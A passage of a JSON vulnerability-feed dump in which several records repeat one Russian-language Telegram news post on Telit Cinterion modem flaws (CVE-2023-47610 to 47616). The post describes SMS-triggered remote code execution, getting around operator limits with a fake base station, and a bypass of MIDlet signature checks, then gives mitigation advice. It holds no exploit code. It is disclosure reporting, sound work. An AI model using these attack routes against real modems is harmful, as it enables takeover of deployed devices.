\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "65c8ceac-4ef5-4178-8338-1d4e4821a2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "a8cbbcfe-3416-436a-bbea-c4ba46406636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47611", "type": "published-proof-of-concept", "source": "https://t.me/itsec_news/4408", "content": "\u200b\u26a1\ufe0f\u0412\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043c\u043e\u0434\u0435\u043c Telit Cinterion: \u043a\u0430\u043a \u043e\u0434\u043d\u043e SMS \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n\ud83d\udcac\u041e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0441\u043e\u0442\u043e\u0432\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 Telit Cinterion \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0434\u0438\u0441\u0442\u0430\u043d\u0446\u0438\u043e\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439.\n\n\u0411\u044b\u043b\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e 8 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, 7 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b CVE \u0441 CVE-2023-47610 \u043f\u043e CVE-2023-47616, \u0430 \u0432\u043e\u0441\u044c\u043c\u0430\u044f \u0435\u0449\u0435 \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0430. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Kaspersky ICS CERT 